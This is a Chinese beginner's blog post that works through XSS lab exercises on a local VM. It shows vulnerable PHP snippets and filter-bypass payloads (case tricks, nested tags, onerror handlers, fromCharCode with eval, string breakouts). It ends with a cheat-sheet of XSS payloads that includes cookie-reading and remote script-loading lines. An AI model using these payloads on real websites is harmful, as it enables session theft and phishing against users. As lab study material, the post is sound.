XSS筆記javascript
前言php
第一次寫博客,從申請博客到正式開寫,想了兩天到底寫什麼比較好,恰好我最近學習XSS攻擊,結合本身的學習狀況和經驗吧,寫一些東西做爲記念,但願之後本身看到成長的我。按照正常狀況下,學習完這個實驗,會有基本的XSS概念和入門思想。Go Go!html
XSS讀叉XX,原本的意思是CSS(Cross Site Script),CSS很繞口,最後改爲XSS了。其工做原理也不是很難,在WEB裏面插入惡意代碼,當用戶瀏覽網頁時,惡意代碼自動執行,從而達到攻擊的目的。java
一、XSS的危害:盜取cookie、放蠕蟲、網站釣魚等等瀏覽器
二、其類型有三種:反射型XSS,存儲型XSS、DOM型XSScookie
理論上的東西很枯燥,本身能夠去百度一下,有更厲害的前輩發的文章。此次我先來點基本實驗,看下是怎麼XSS。若通過下面簡單的實驗,你也許能瞭解一些東西,感受好玩了,再去找理論的東西學習,效果會更好。網絡
這裏我是利用Debian6鏡像系統練習的,本身搞的鏈接連接:以下xss
https://pan.baidu.com/s/1bphjaZP 密碼:p72y函數
兩個文件都下載解壓,虛擬環境是鏡像系統,i386-iso放在CD裏面的鏡像文件,如圖所示:學習
還有一個較爲重要的是虛擬機須要新增長一個網絡適配器,模式改成僅主機模式,那就能夠了,如圖所示。
正常狀況下你能夠開啓虛擬機了,輸入命令ifconfig,Eth1顯示的IP地址爲192.168.64.129,而後在瀏覽器裏面輸入這個IP地址,網頁出來了,咱們下面就開始學習XSS基本的實驗了。
其網址爲http://192.168.64.129/xss/example1.php?name=hacker
使用的基本語句
<script>alert(1)</script>
把這句話導進去爲
http://192.168.64.129/xss/example1.php?name=<script>alert(1)</script>
彈出窗口了,實驗結束
在實際中,咱們不多直接找到源代碼,由於這是實驗環境,因此貼出源代碼,你們分析一下吧,源代碼直接貼出。
<?php
echo $_GET["name"];
?>
它對應的代碼以下
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;
?>
函數preg_replace("/<script>/", "", $name);在XSS裏面過濾了小寫,直接用大寫繞過就能夠了。
http://192.168.64.129/xss/example2.php?name=<Script>alert(1)</Script>
三、它對應的代碼以下
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;
?>
函數$name = preg_replace("/<script>/i", "", $name);在XSS裏面過濾了大小寫,剛纔的方式已經沒有效果了,這裏使用一個巧妙的方式繞過。
http://192.168.64.129/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>
這種狀況下,<script>和</script>被去掉了,其餘語句繼續合併,那就剩下<scr ipt>alert(1)</scr ipt>
四、貼出源代碼
<?php
if(preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
這代碼的意思就是隻要包含script就報錯,上面的方式已通過期了,搞其餘的。
此次使用img標籤
http://192.168.64.129/xss/example4.php?name=<img src='a' onerror='alert(1)'>
這種狀況下<img>與<script>標籤原理也是同樣的。
五、貼出源代碼
<?php
if(preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
這代碼的意思就是隻要包含alert就報錯,這題就好玩了
由於咱們前面都是含有alert(1)來實現的
如今alert被禁了,有點麻煩,可是也是能夠有辦法的
<script>alert(1)</script>
轉碼爲
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
即
alert(1)
轉成
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)
完整代碼
http://192.168.64.129/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
六、貼出源代碼,直接js環境輸入php變量,簡單來講已經給咱們寫了<script>前面的東西了,咱們只要閉合他,就能夠XSS了
<script>
var $a = "<?php echo $_GET["name"]; ?>";
</script>
咱們輸入 ";b=alert(1);eval(b);// 後
會變成
<script>
var $a = "<?php echo $_GET["";b=alert(1);eval(b);//"]; ?>";
</script>
http://192.168.64.129/xss/example6.php?name=";b=alert(1);eval(b);//
七、源代碼貼出來,分析
函數htmlentities是在js環境下經過html編碼php,可是它有個缺點,就是不過濾單引號
<script>
var $a = "<?php echo htmlentities($_GET["name"]); ?>";
<script>
上面雙引號改爲單引號
http://192.168.64.129/xss/example7.php?name=';b=alert(1);eval(b);//
八、源代碼貼出,分析
這裏與上面的有點不同,貼圖出來
這個POST地址使用了當前URL。
<?php
if(isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit" />
分析:原理是構造當前URL
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
把
/"method="POST"><script>alert(1)</script>
接進去,變成
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">/"method="POST"><script>alert(1)</script>
恰好構造完成,XSS
http://192.168.64.129/xss/example8.php/"method="POST"><script>alert(1)</script>
九、遇到一個問題,沒辦法實現,直接在頁面輸出錨點id,構建XSS,源代碼
<script>
document.write(location.hash.substring(1));
</script>
查看了一下別人的作法
http://192.168.64.129/xss/example9.php#<script>alert(1)</script>
可是我沒實現出來,之後會更多了,再去搞!
感謝大家,這教程適合剛入門的小夥伴吧,能夠互相學習,孤獨的道路上,共勉!
最後是經常使用的XSS代碼
<script>alert(/我是張三/)</script>
1<ScRiPt >alert(/我是張三/)</ScRiPt>
'"()&%1<ScRiPt >alert(/我是張三/)</ScRiPt>
</textarea><script>alert(document.cookie)</script><textarea>
<img src="javascript:alert(/sss/)" width=100>
<img src="#" onresume=alert(/sss/)>
<img src="#" onreverse=alert(/sss/)>
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<BODY onload="alert('XSS')">
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
<img src='a' onerror='alert(1)' />
1";alert(/1/)</script>
";b=alert(1);eval(b);//
";alert(/我是張三/)</script>